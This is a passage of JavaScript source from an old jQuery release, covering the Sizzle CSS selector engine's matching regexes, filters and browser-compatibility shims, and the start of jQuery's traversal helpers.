{\n\t\t\t\t\t\t\t\t\tcurLoop[i] = false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else if ( pass ) {\n\t\t\t\t\t\t\t\tresult.push( item );\n\t\t\t\t\t\t\t\tanyFound = true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ( found !== undefined ) {\n\t\t\t\t\tif ( !inplace ) {\n\t\t\t\t\t\tcurLoop = result;\n\t\t\t\t\t}\n\n\t\t\t\t\texpr = expr.replace( Expr.match[ type ], \"\" );\n\n\t\t\t\t\tif ( !anyFound ) {\n\t\t\t\t\t\treturn [];\n\t\t\t\t\t}\n\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Improper expression\n\t\tif ( expr === old ) {\n\t\t\tif ( anyFound == null ) {\n\t\t\t\tSizzle.error( expr );\n\t\t\t} else {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\told = expr;\n\t}\n\n\treturn curLoop;\n};\n\nSizzle.error = function( msg ) {\n\tthrow \"Syntax error, unrecognized expression: \" + msg;\n};\n\nvar Expr = Sizzle.selectors = {\n\torder: [ \"ID\", \"NAME\", \"TAG\" ],\n\tmatch: {\n\t\tID: /#((?:[\\w\\u00c0-\\uFFFF-]|\\\\.)+)/,\n\t\tCLASS: /\\.((?:[\\w\\u00c0-\\uFFFF-]|\\\\.)+)/,\n\t\tNAME: /\\[name=['\"]*((?:[\\w\\u00c0-\\uFFFF-]|\\\\.)+)['\"]*\\]/,\n\t\tATTR: /\\[\\s*((?:[\\w\\u00c0-\\uFFFF-]|\\\\.)+)\\s*(?:(\\S?=)\\s*(['\"]*)(.*?)\\3|)\\s*\\]/,\n\t\tTAG: /^((?:[\\w\\u00c0-\\uFFFF\\*-]|\\\\.)+)/,\n\t\tCHILD: /:(only|nth|last|first)-child(?:\\((even|odd|[\\dn+-]*)\\))?/,\n\t\tPOS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\\((\\d*)\\))?(?=[^-]|$)/,\n\t\tPSEUDO: /:((?:[\\w\\u00c0-\\uFFFF-]|\\\\.)+)(?:\\((['\"]?)((?:\\([^\\)]+\\)|[^\\(\\)]*)+)\\2\\))?/\n\t},\n\tleftMatch: {},\n\tattrMap: {\n\t\t\"class\": \"className\",\n\t\t\"for\": \"htmlFor\"\n\t},\n\tattrHandle: {\n\t\thref: function(elem){\n\t\t\treturn elem.getAttribute(\"href\");\n\t\t}\n\t},\n\trelative: {\n\t\t\"+\": function(checkSet, part){\n\t\t\tvar isPartStr = typeof part === \"string\",\n\t\t\t\tisTag = isPartStr && !/\\W/.test(part),\n\t\t\t\tisPartStrNotTag = isPartStr && !isTag;\n\n\t\t\tif ( isTag ) {\n\t\t\t\tpart = part.toLowerCase();\n\t\t\t}\n\n\t\t\tfor ( var i = 0, l = checkSet.length, elem; i < l; i++ ) {\n\t\t\t\tif ( (elem = checkSet[i]) ) {\n\t\t\t\t\twhile ( (elem = elem.previousSibling) && elem.nodeType !== 1 ) {}\n\n\t\t\t\t\tcheckSet[i] = isPartStrNotTag || elem && elem.nodeName.toLowerCase() === part ?\n\t\t\t\t\t\telem || false :\n\t\t\t\t\t\telem === part;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( isPartStrNotTag ) {\n\t\t\t\tSizzle.filter( part, checkSet, true );\n\t\t\t}\n\t\t},\n\t\t\">\": function(checkSet, part){\n\t\t\tvar isPartStr = typeof part === \"string\";\n\n\t\t\tif ( isPartStr && !/\\W/.test(part) ) {\n\t\t\t\tpart = part.toLowerCase();\n\n\t\t\t\tfor ( var i = 0, l = checkSet.length; i < l; i++ ) {\n\t\t\t\t\tvar elem = checkSet[i];\n\t\t\t\t\tif ( elem ) {\n\t\t\t\t\t\tvar parent = elem.parentNode;\n\t\t\t\t\t\tcheckSet[i] = parent.nodeName.toLowerCase() === part ? parent : false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor ( var i = 0, l = checkSet.length; i < l; i++ ) {\n\t\t\t\t\tvar elem = checkSet[i];\n\t\t\t\t\tif ( elem ) {\n\t\t\t\t\t\tcheckSet[i] = isPartStr ?\n\t\t\t\t\t\t\telem.parentNode :\n\t\t\t\t\t\t\telem.parentNode === part;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ( isPartStr ) {\n\t\t\t\t\tSizzle.filter( part, checkSet, true );\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"\": function(checkSet, part, isXML){\n\t\t\tvar doneName = done++, checkFn = dirCheck;\n\n\t\t\tif ( typeof part === \"string\" && !/\\W/.test(part) ) {\n\t\t\t\tvar nodeCheck = part = part.toLowerCase();\n\t\t\t\tcheckFn = dirNodeCheck;\n\t\t\t}\n\n\t\t\tcheckFn(\"parentNode\", part, doneName, checkSet, nodeCheck, isXML);\n\t\t},\n\t\t\"~\": function(checkSet, part, isXML){\n\t\t\tvar doneName = done++, checkFn = dirCheck;\n\n\t\t\tif ( typeof part === \"string\" && !/\\W/.test(part) ) {\n\t\t\t\tvar nodeCheck = part = part.toLowerCase();\n\t\t\t\tcheckFn = dirNodeCheck;\n\t\t\t}\n\n\t\t\tcheckFn(\"previousSibling\", part, doneName, checkSet, nodeCheck, isXML);\n\t\t}\n\t},\n\tfind: {\n\t\tID: function(match, context, isXML){\n\t\t\tif ( typeof context.getElementById !== \"undefined\" && !isXML ) {\n\t\t\t\tvar m = context.getElementById(match[1]);\n\t\t\t\treturn m ? [m] : [];\n\t\t\t}\n\t\t},\n\t\tNAME: function(match, context){\n\t\t\tif ( typeof context.getElementsByName !== \"undefined\" ) {\n\t\t\t\tvar ret = [], results = context.getElementsByName(match[1]);\n\n\t\t\t\tfor ( var i = 0, l = results.length; i < l; i++ ) {\n\t\t\t\t\tif ( results[i].getAttribute(\"name\") === match[1] ) {\n\t\t\t\t\t\tret.push( results[i] );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn ret.length === 0 ? null : ret;\n\t\t\t}\n\t\t},\n\t\tTAG: function(match, context){\n\t\t\treturn context.getElementsByTagName(match[1]);\n\t\t}\n\t},\n\tpreFilter: {\n\t\tCLASS: function(match, curLoop, inplace, result, not, isXML){\n\t\t\tmatch = \" \" + match[1].replace(/\\\\/g, \"\") + \" \";\n\n\t\t\tif ( isXML ) {\n\t\t\t\treturn match;\n\t\t\t}\n\n\t\t\tfor ( var i = 0, elem; (elem = curLoop[i]) != null; i++ ) {\n\t\t\t\tif ( elem ) {\n\t\t\t\t\tif ( not ^ (elem.className && (\" \" + elem.className + \" \").replace(/[\\t\\n]/g, \" \").indexOf(match) >= 0) ) {\n\t\t\t\t\t\tif ( !inplace ) {\n\t\t\t\t\t\t\tresult.push( elem );\n\t\t\t\t\t\t}\n\t\t\t\t\t} else if ( inplace ) {\n\t\t\t\t\t\tcurLoop[i] = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn false;\n\t\t},\n\t\tID: function(match){\n\t\t\treturn match[1].replace(/\\\\/g, \"\");\n\t\t},\n\t\tTAG: function(match, curLoop){\n\t\t\treturn match[1].toLowerCase();\n\t\t},\n\t\tCHILD: function(match){\n\t\t\tif ( match[1] === \"nth\" ) {\n\t\t\t\t// parse equations like 'even', 'odd', '5', '2n', '3n+2', '4n-1', '-n+6'\n\t\t\t\tvar test = /(-?)(\\d*)n((?:\\+|-)?\\d*)/.exec(\n\t\t\t\t\tmatch[2] === \"even\" && \"2n\" || match[2] === \"odd\" && \"2n+1\" ||\n\t\t\t\t\t!/\\D/.test( match[2] ) && \"0n+\" + match[2] || match[2]);\n\n\t\t\t\t// calculate the numbers (first)n+(last) including if they are negative\n\t\t\t\tmatch[2] = (test[1] + (test[2] || 1)) - 0;\n\t\t\t\tmatch[3] = test[3] - 0;\n\t\t\t}\n\n\t\t\t// TODO: Move to normal caching system\n\t\t\tmatch[0] = done++;\n\n\t\t\treturn match;\n\t\t},\n\t\tATTR: function(match, curLoop, inplace, result, not, isXML){\n\t\t\tvar name = match[1].replace(/\\\\/g, \"\");\n\n\t\t\tif ( !isXML && Expr.attrMap[name] ) {\n\t\t\t\tmatch[1] = Expr.attrMap[name];\n\t\t\t}\n\n\t\t\tif ( match[2] === \"~=\" ) {\n\t\t\t\tmatch[4] = \" \" + match[4] + \" \";\n\t\t\t}\n\n\t\t\treturn match;\n\t\t},\n\t\tPSEUDO: function(match, curLoop, inplace, result, not){\n\t\t\tif ( match[1] === \"not\" ) {\n\t\t\t\t// If we're dealing with a complex expression, or a simple one\n\t\t\t\tif ( ( chunker.exec(match[3]) || \"\" ).length > 1 || /^\\w/.test(match[3]) ) {\n\t\t\t\t\tmatch[3] = Sizzle(match[3], null, null, curLoop);\n\t\t\t\t} else {\n\t\t\t\t\tvar ret = Sizzle.filter(match[3], curLoop, inplace, true ^ not);\n\t\t\t\t\tif ( !inplace ) {\n\t\t\t\t\t\tresult.push.apply( result, ret );\n\t\t\t\t\t}\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t} else if ( Expr.match.POS.test( match[0] ) || Expr.match.CHILD.test( match[0] ) ) {\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\treturn match;\n\t\t},\n\t\tPOS: function(match){\n\t\t\tmatch.unshift( true );\n\t\t\treturn match;\n\t\t}\n\t},\n\tfilters: {\n\t\tenabled: function(elem){\n\t\t\treturn elem.disabled === false && elem.type !== \"hidden\";\n\t\t},\n\t\tdisabled: function(elem){\n\t\t\treturn elem.disabled === true;\n\t\t},\n\t\tchecked: function(elem){\n\t\t\treturn elem.checked === true;\n\t\t},\n\t\tselected: function(elem){\n\t\t\t// Accessing this property makes selected-by-default\n\t\t\t// options in Safari work properly\n\t\t\telem.parentNode.selectedIndex;\n\t\t\treturn elem.selected === true;\n\t\t},\n\t\tparent: function(elem){\n\t\t\treturn !!elem.firstChild;\n\t\t},\n\t\tempty: function(elem){\n\t\t\treturn !elem.firstChild;\n\t\t},\n\t\thas: function(elem, i, match){\n\t\t\treturn !!Sizzle( match[3], elem ).length;\n\t\t},\n\t\theader: function(elem){\n\t\t\treturn /h\\d/i.test( elem.nodeName );\n\t\t},\n\t\ttext: function(elem){\n\t\t\treturn \"text\" === elem.type;\n\t\t},\n\t\tradio: function(elem){\n\t\t\treturn \"radio\" === elem.type;\n\t\t},\n\t\tcheckbox: function(elem){\n\t\t\treturn \"checkbox\" === elem.type;\n\t\t},\n\t\tfile: function(elem){\n\t\t\treturn \"file\" === elem.type;\n\t\t},\n\t\tpassword: function(elem){\n\t\t\treturn \"password\" === elem.type;\n\t\t},\n\t\tsubmit: function(elem){\n\t\t\treturn \"submit\" === elem.type;\n\t\t},\n\t\timage: function(elem){\n\t\t\treturn \"image\" === elem.type;\n\t\t},\n\t\treset: function(elem){\n\t\t\treturn \"reset\" === elem.type;\n\t\t},\n\t\tbutton: function(elem){\n\t\t\treturn \"button\" === elem.type || elem.nodeName.toLowerCase() === \"button\";\n\t\t},\n\t\tinput: function(elem){\n\t\t\treturn /input|select|textarea|button/i.test(elem.nodeName);\n\t\t}\n\t},\n\tsetFilters: {\n\t\tfirst: function(elem, i){\n\t\t\treturn i === 0;\n\t\t},\n\t\tlast: function(elem, i, match, array){\n\t\t\treturn i === array.length - 1;\n\t\t},\n\t\teven: function(elem, i){\n\t\t\treturn i % 2 === 0;\n\t\t},\n\t\todd: function(elem, i){\n\t\t\treturn i % 2 === 1;\n\t\t},\n\t\tlt: function(elem, i, match){\n\t\t\treturn i < match[3] - 0;\n\t\t},\n\t\tgt: function(elem, i, match){\n\t\t\treturn i > match[3] - 0;\n\t\t},\n\t\tnth: function(elem, i, match){\n\t\t\treturn match[3] - 0 === i;\n\t\t},\n\t\teq: function(elem, i, match){\n\t\t\treturn match[3] - 0 === i;\n\t\t}\n\t},\n\tfilter: {\n\t\tPSEUDO: function(elem, match, i, array){\n\t\t\tvar name = match[1], filter = Expr.filters[ name ];\n\n\t\t\tif ( filter ) {\n\t\t\t\treturn filter( elem, i, match, array );\n\t\t\t} else if ( name === \"contains\" ) {\n\t\t\t\treturn (elem.textContent || elem.innerText || getText([ elem ]) || \"\").indexOf(match[3]) >= 0;\n\t\t\t} else if ( name === \"not\" ) {\n\t\t\t\tvar not = match[3];\n\n\t\t\t\tfor ( var i = 0, l = not.length; i < l; i++ ) {\n\t\t\t\t\tif ( not[i] === elem ) {\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn true;\n\t\t\t} else {\n\t\t\t\tSizzle.error( \"Syntax error, unrecognized expression: \" + name );\n\t\t\t}\n\t\t},\n\t\tCHILD: function(elem, match){\n\t\t\tvar type = match[1], node = elem;\n\t\t\tswitch (type) {\n\t\t\t\tcase 'only':\n\t\t\t\tcase 'first':\n\t\t\t\t\twhile ( (node = node.previousSibling) )\t {\n\t\t\t\t\t\tif ( node.nodeType === 1 ) {\n\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif ( type === \"first\" ) {\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t\tnode = elem;\n\t\t\t\tcase 'last':\n\t\t\t\t\twhile ( (node = node.nextSibling) )\t {\n\t\t\t\t\t\tif ( node.nodeType === 1 ) {\n\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\treturn true;\n\t\t\t\tcase 'nth':\n\t\t\t\t\tvar first = match[2], last = match[3];\n\n\t\t\t\t\tif ( first === 1 && last === 0 ) {\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\n\t\t\t\t\tvar doneName = match[0],\n\t\t\t\t\t\tparent = elem.parentNode;\n\n\t\t\t\t\tif ( parent && (parent.sizcache !== doneName || !elem.nodeIndex) ) {\n\t\t\t\t\t\tvar count = 0;\n\t\t\t\t\t\tfor ( node = parent.firstChild; node; node = node.nextSibling ) {\n\t\t\t\t\t\t\tif ( node.nodeType === 1 ) {\n\t\t\t\t\t\t\t\tnode.nodeIndex = ++count;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tparent.sizcache = doneName;\n\t\t\t\t\t}\n\n\t\t\t\t\tvar diff = elem.nodeIndex - last;\n\t\t\t\t\tif ( first === 0 ) {\n\t\t\t\t\t\treturn diff === 0;\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn ( diff % first === 0 && diff / first >= 0 );\n\t\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\tID: function(elem, match){\n\t\t\treturn elem.nodeType === 1 && elem.getAttribute(\"id\") === match;\n\t\t},\n\t\tTAG: function(elem, match){\n\t\t\treturn (match === \"*\" && elem.nodeType === 1) || elem.nodeName.toLowerCase() === match;\n\t\t},\n\t\tCLASS: function(elem, match){\n\t\t\treturn (\" \" + (elem.className || elem.getAttribute(\"class\")) + \" \")\n\t\t\t\t.indexOf( match ) > -1;\n\t\t},\n\t\tATTR: function(elem, match){\n\t\t\tvar name = match[1],\n\t\t\t\tresult = Expr.attrHandle[ name ] ?\n\t\t\t\t\tExpr.attrHandle[ name ]( elem ) :\n\t\t\t\t\telem[ name ] != null ?\n\t\t\t\t\t\telem[ name ] :\n\t\t\t\t\t\telem.getAttribute( name ),\n\t\t\t\tvalue = result + \"\",\n\t\t\t\ttype = match[2],\n\t\t\t\tcheck = match[4];\n\n\t\t\treturn result == null ?\n\t\t\t\ttype === \"!=\" :\n\t\t\t\ttype === \"=\" ?\n\t\t\t\tvalue === check :\n\t\t\t\ttype === \"*=\" ?\n\t\t\t\tvalue.indexOf(check) >= 0 :\n\t\t\t\ttype === \"~=\" ?\n\t\t\t\t(\" \" + value + \" \").indexOf(check) >= 0 :\n\t\t\t\t!check ?\n\t\t\t\tvalue && result !== false :\n\t\t\t\ttype === \"!=\" ?\n\t\t\t\tvalue !== check :\n\t\t\t\ttype === \"^=\" ?\n\t\t\t\tvalue.indexOf(check) === 0 :\n\t\t\t\ttype === \"$=\" ?\n\t\t\t\tvalue.substr(value.length - check.length) === check :\n\t\t\t\ttype === \"|=\" ?\n\t\t\t\tvalue === check || value.substr(0, check.length + 1) === check + \"-\" :\n\t\t\t\tfalse;\n\t\t},\n\t\tPOS: function(elem, match, i, array){\n\t\t\tvar name = match[2], filter = Expr.setFilters[ name ];\n\n\t\t\tif ( filter ) {\n\t\t\t\treturn filter( elem, i, match, array );\n\t\t\t}\n\t\t}\n\t}\n};\n\nvar origPOS = Expr.match.POS;\n\nfor ( var type in Expr.match ) {\n\tExpr.match[ type ] = new RegExp( Expr.match[ type ].source + /(?![^\\[]*\\])(?![^\\(]*\\))/.source );\n\tExpr.leftMatch[ type ] = new RegExp( /(^(?:.|\\r|\\n)*?)/.source + Expr.match[ type ].source.replace(/\\\\(\\d+)/g, function(all, num){\n\t\treturn \"\\\\\" + (num - 0 + 1);\n\t}));\n}\n\nvar makeArray = function(array, results) {\n\tarray = Array.prototype.slice.call( array, 0 );\n\n\tif ( results ) {\n\t\tresults.push.apply( results, array );\n\t\treturn results;\n\t}\n\n\treturn array;\n};\n\n// Perform a simple check to determine if the browser is capable of\n// converting a NodeList to an array using builtin methods.\ntry {\n\tArray.prototype.slice.call( document.documentElement.childNodes, 0 );\n\n// Provide a fallback method if it does not work\n} catch(e){\n\tmakeArray = function(array, results) {\n\t\tvar ret = results || [];\n\n\t\tif ( toString.call(array) === \"[object Array]\" ) {\n\t\t\tArray.prototype.push.apply( ret, array );\n\t\t} else {\n\t\t\tif ( typeof array.length === \"number\" ) {\n\t\t\t\tfor ( var i = 0, l = array.length; i < l; i++ ) {\n\t\t\t\t\tret.push( array[i] );\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor ( var i = 0; array[i]; i++ ) {\n\t\t\t\t\tret.push( array[i] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t};\n}\n\nvar sortOrder;\n\nif ( document.documentElement.compareDocumentPosition ) {\n\tsortOrder = function( a, b ) {\n\t\tif ( !a.compareDocumentPosition || !b.compareDocumentPosition ) {\n\t\t\tif ( a == b ) {\n\t\t\t\thasDuplicate = true;\n\t\t\t}\n\t\t\treturn a.compareDocumentPosition ? -1 : 1;\n\t\t}\n\n\t\tvar ret = a.compareDocumentPosition(b) & 4 ? -1 : a === b ? 0 : 1;\n\t\tif ( ret === 0 ) {\n\t\t\thasDuplicate = true;\n\t\t}\n\t\treturn ret;\n\t};\n} else if ( \"sourceIndex\" in document.documentElement ) {\n\tsortOrder = function( a, b ) {\n\t\tif ( !a.sourceIndex || !b.sourceIndex ) {\n\t\t\tif ( a == b ) {\n\t\t\t\thasDuplicate = true;\n\t\t\t}\n\t\t\treturn a.sourceIndex ? -1 : 1;\n\t\t}\n\n\t\tvar ret = a.sourceIndex - b.sourceIndex;\n\t\tif ( ret === 0 ) {\n\t\t\thasDuplicate = true;\n\t\t}\n\t\treturn ret;\n\t};\n} else if ( document.createRange ) {\n\tsortOrder = function( a, b ) {\n\t\tif ( !a.ownerDocument || !b.ownerDocument ) {\n\t\t\tif ( a == b ) {\n\t\t\t\thasDuplicate = true;\n\t\t\t}\n\t\t\treturn a.ownerDocument ? -1 : 1;\n\t\t}\n\n\t\tvar aRange = a.ownerDocument.createRange(), bRange = b.ownerDocument.createRange();\n\t\taRange.setStart(a, 0);\n\t\taRange.setEnd(a, 0);\n\t\tbRange.setStart(b, 0);\n\t\tbRange.setEnd(b, 0);\n\t\tvar ret = aRange.compareBoundaryPoints(Range.START_TO_END, bRange);\n\t\tif ( ret === 0 ) {\n\t\t\thasDuplicate = true;\n\t\t}\n\t\treturn ret;\n\t};\n}\n\n// Utility function for retreiving the text value of an array of DOM nodes\nfunction getText( elems ) {\n\tvar ret = \"\", elem;\n\n\tfor ( var i = 0; elems[i]; i++ ) {\n\t\telem = elems[i];\n\n\t\t// Get the text from text nodes and CDATA nodes\n\t\tif ( elem.nodeType === 3 || elem.nodeType === 4 ) {\n\t\t\tret += elem.nodeValue;\n\n\t\t// Traverse everything else, except comment nodes\n\t\t} else if ( elem.nodeType !== 8 ) {\n\t\t\tret += getText( elem.childNodes );\n\t\t}\n\t}\n\n\treturn ret;\n}\n\n// Check to see if the browser returns elements by name when\n// querying by getElementById (and provide a workaround)\n(function(){\n\t// We're going to inject a fake input element with a specified name\n\tvar form = document.createElement(\"div\"),\n\t\tid = \"script\" + (new Date).getTime();\n\tform.innerHTML = \"<a name='\" + id + \"'/>\";\n\n\t// Inject it into the root element, check its status, and remove it quickly\n\tvar root = document.documentElement;\n\troot.insertBefore( form, root.firstChild );\n\n\t// The workaround has to do additional checks after a getElementById\n\t// Which slows things down for other browsers (hence the branching)\n\tif ( document.getElementById( id ) ) {\n\t\tExpr.find.ID = function(match, context, isXML){\n\t\t\tif ( typeof context.getElementById !== \"undefined\" && !isXML ) {\n\t\t\t\tvar m = context.getElementById(match[1]);\n\t\t\t\treturn m ? m.id === match[1] || typeof m.getAttributeNode !== \"undefined\" && m.getAttributeNode(\"id\").nodeValue === match[1] ? [m] : undefined : [];\n\t\t\t}\n\t\t};\n\n\t\tExpr.filter.ID = function(elem, match){\n\t\t\tvar node = typeof elem.getAttributeNode !== \"undefined\" && elem.getAttributeNode(\"id\");\n\t\t\treturn elem.nodeType === 1 && node && node.nodeValue === match;\n\t\t};\n\t}\n\n\troot.removeChild( form );\n\troot = form = null; // release memory in IE\n})();\n\n(function(){\n\t// Check to see if the browser returns only elements\n\t// when doing getElementsByTagName(\"*\")\n\n\t// Create a fake element\n\tvar div = document.createElement(\"div\");\n\tdiv.appendChild( document.createComment(\"\") );\n\n\t// Make sure no comments are found\n\tif ( div.getElementsByTagName(\"*\").length > 0 ) {\n\t\tExpr.find.TAG = function(match, context){\n\t\t\tvar results = context.getElementsByTagName(match[1]);\n\n\t\t\t// Filter out possible comments\n\t\t\tif ( match[1] === \"*\" ) {\n\t\t\t\tvar tmp = [];\n\n\t\t\t\tfor ( var i = 0; results[i]; i++ ) {\n\t\t\t\t\tif ( results[i].nodeType === 1 ) {\n\t\t\t\t\t\ttmp.push( results[i] );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tresults = tmp;\n\t\t\t}\n\n\t\t\treturn results;\n\t\t};\n\t}\n\n\t// Check to see if an attribute returns normalized href attributes\n\tdiv.innerHTML = \"<a href='#'></a>\";\n\tif ( div.firstChild && typeof div.firstChild.getAttribute !== \"undefined\" &&\n\t\t\tdiv.firstChild.getAttribute(\"href\") !== \"#\" ) {\n\t\tExpr.attrHandle.href = function(elem){\n\t\t\treturn elem.getAttribute(\"href\", 2);\n\t\t};\n\t}\n\n\tdiv = null; // release memory in IE\n})();\n\nif ( document.querySelectorAll ) {\n\t(function(){\n\t\tvar oldSizzle = Sizzle, div = document.createElement(\"div\");\n\t\tdiv.innerHTML = \"<p class='TEST'></p>\";\n\n\t\t// Safari can't handle uppercase or unicode characters when\n\t\t// in quirks mode.\n\t\tif ( div.querySelectorAll && div.querySelectorAll(\".TEST\").length === 0 ) {\n\t\t\treturn;\n\t\t}\n\n\t\tSizzle = function(query, context, extra, seed){\n\t\t\tcontext = context || document;\n\n\t\t\t// Only use querySelectorAll on non-XML documents\n\t\t\t// (ID selectors don't work in non-HTML documents)\n\t\t\tif ( !seed && context.nodeType === 9 && !isXML(context) ) {\n\t\t\t\ttry {\n\t\t\t\t\treturn makeArray( context.querySelectorAll(query), extra );\n\t\t\t\t} catch(e){}\n\t\t\t}\n\n\t\t\treturn oldSizzle(query, context, extra, seed);\n\t\t};\n\n\t\tfor ( var prop in oldSizzle ) {\n\t\t\tSizzle[ prop ] = oldSizzle[ prop ];\n\t\t}\n\n\t\tdiv = null; // release memory in IE\n\t})();\n}\n\n(function(){\n\tvar div = document.createElement(\"div\");\n\n\tdiv.innerHTML = \"<div class='test e'></div><div class='test'></div>\";\n\n\t// Opera can't find a second classname (in 9.6)\n\t// Also, make sure that getElementsByClassName actually exists\n\tif ( !div.getElementsByClassName || div.getElementsByClassName(\"e\").length === 0 ) {\n\t\treturn;\n\t}\n\n\t// Safari caches class attributes, doesn't catch changes (in 3.2)\n\tdiv.lastChild.className = \"e\";\n\n\tif ( div.getElementsByClassName(\"e\").length === 1 ) {\n\t\treturn;\n\t}\n\n\tExpr.order.splice(1, 0, \"CLASS\");\n\tExpr.find.CLASS = function(match, context, isXML) {\n\t\tif ( typeof context.getElementsByClassName !== \"undefined\" && !isXML ) {\n\t\t\treturn context.getElementsByClassName(match[1]);\n\t\t}\n\t};\n\n\tdiv = null; // release memory in IE\n})();\n\nfunction dirNodeCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {\n\tfor ( var i = 0, l = checkSet.length; i < l; i++ ) {\n\t\tvar elem = checkSet[i];\n\t\tif ( elem ) {\n\t\t\telem = elem[dir];\n\t\t\tvar match = false;\n\n\t\t\twhile ( elem ) {\n\t\t\t\tif ( elem.sizcache === doneName ) {\n\t\t\t\t\tmatch = checkSet[elem.sizset];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif ( elem.nodeType === 1 && !isXML ){\n\t\t\t\t\telem.sizcache = doneName;\n\t\t\t\t\telem.sizset = i;\n\t\t\t\t}\n\n\t\t\t\tif ( elem.nodeName.toLowerCase() === cur ) {\n\t\t\t\t\tmatch = elem;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\telem = elem[dir];\n\t\t\t}\n\n\t\t\tcheckSet[i] = match;\n\t\t}\n\t}\n}\n\nfunction dirCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {\n\tfor ( var i = 0, l = checkSet.length; i < l; i++ ) {\n\t\tvar elem = checkSet[i];\n\t\tif ( elem ) {\n\t\t\telem = elem[dir];\n\t\t\tvar match = false;\n\n\t\t\twhile ( elem ) {\n\t\t\t\tif ( elem.sizcache === doneName ) {\n\t\t\t\t\tmatch = checkSet[elem.sizset];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif ( elem.nodeType === 1 ) {\n\t\t\t\t\tif ( !isXML ) {\n\t\t\t\t\t\telem.sizcache = doneName;\n\t\t\t\t\t\telem.sizset = i;\n\t\t\t\t\t}\n\t\t\t\t\tif ( typeof cur !== \"string\" ) {\n\t\t\t\t\t\tif ( elem === cur ) {\n\t\t\t\t\t\t\tmatch = true;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} else if ( Sizzle.filter( cur, [elem] ).length > 0 ) {\n\t\t\t\t\t\tmatch = elem;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\telem = elem[dir];\n\t\t\t}\n\n\t\t\tcheckSet[i] = match;\n\t\t}\n\t}\n}\n\nvar contains = document.compareDocumentPosition ? function(a, b){\n\treturn a.compareDocumentPosition(b) & 16;\n} : function(a, b){\n\treturn a !== b && (a.contains ? a.contains(b) : true);\n};\n\nvar isXML = function(elem){\n\t// documentElement is verified for cases where it doesn't yet exist\n\t// (such as loading iframes in IE - #4833)\n\tvar documentElement = (elem ? elem.ownerDocument || elem : 0).documentElement;\n\treturn documentElement ? documentElement.nodeName !== \"HTML\" : false;\n};\n\nvar posProcess = function(selector, context){\n\tvar tmpSet = [], later = \"\", match,\n\t\troot = context.nodeType ? [context] : context;\n\n\t// Position selectors must be done after the filter\n\t// And so must :not(positional) so we move all PSEUDOs to the end\n\twhile ( (match = Expr.match.PSEUDO.exec( selector )) ) {\n\t\tlater += match[0];\n\t\tselector = selector.replace( Expr.match.PSEUDO, \"\" );\n\t}\n\n\tselector = Expr.relative[selector] ? selector + \"*\" : selector;\n\n\tfor ( var i = 0, l = root.length; i < l; i++ ) {\n\t\tSizzle( selector, root[i], tmpSet );\n\t}\n\n\treturn Sizzle.filter( later, tmpSet );\n};\n\n// EXPOSE\njQuery.find = Sizzle;\njQuery.expr = Sizzle.selectors;\njQuery.expr[\":\"] = jQuery.expr.filters;\njQuery.unique = Sizzle.uniqueSort;\njQuery.getText = getText;\njQuery.isXMLDoc = isXML;\njQuery.contains = contains;\n\nreturn;\n\nwindow.Sizzle = Sizzle;\n\n})();\nvar runtil = /Until$/,\n\trparentsprev = /^(?:parents|prevUntil|prevAll)/,\n\t// Note: This RegExp should be improved, or likely pulled from Sizzle\n\trmultiselector = /,/,\n\tslice = Array.prototype.slice;\n\n// Implement the identical functionality for filter and not\nvar winnow = function( elements, qualifier, keep ) {\n\tif ( jQuery.isFunction( qualifier ) ) {\n\t\treturn jQuery.grep(elements, function( elem, i ) {\n\t\t\treturn !!qualifier.call( elem, i, elem ) === keep;\n\t\t});\n\n\t} else if ( qualifier.nodeType ) {\n\t\treturn jQuery.grep(elements, function( elem, i ) {\n\t\t\treturn (elem === qualifier) === keep;\n\t\t});\n\n\t} else if ( typeof qualifier === \"string\" ) {\n\t\tvar filtered = jQuery.grep(elements, function( elem ) {\n\t\t\treturn elem.nodeType === 1;\n\t\t});\n\n\t\tif ( isSimple.test( qualifier ) ) {\n\t\t\treturn jQuery.filter(qualifier, filtered, !keep);\n\t\t} else {\n\t\t\tqualifier = jQuery.filter( qualifier, filtered );\n\t\t}\n\t}\n\n\treturn jQuery.grep(elements, function( elem, i ) {\n\t\treturn (jQuery.inArray( elem, qualifier ) >= 0) === keep;\n\t});\n};\n\njQuery.fn.extend({\n\tfind: function( selector ) {\n\t\tvar ret = this.pushStack( \"\", \"find\", selector ), length = 0;\n\n\t\tfor ( var i = 0, 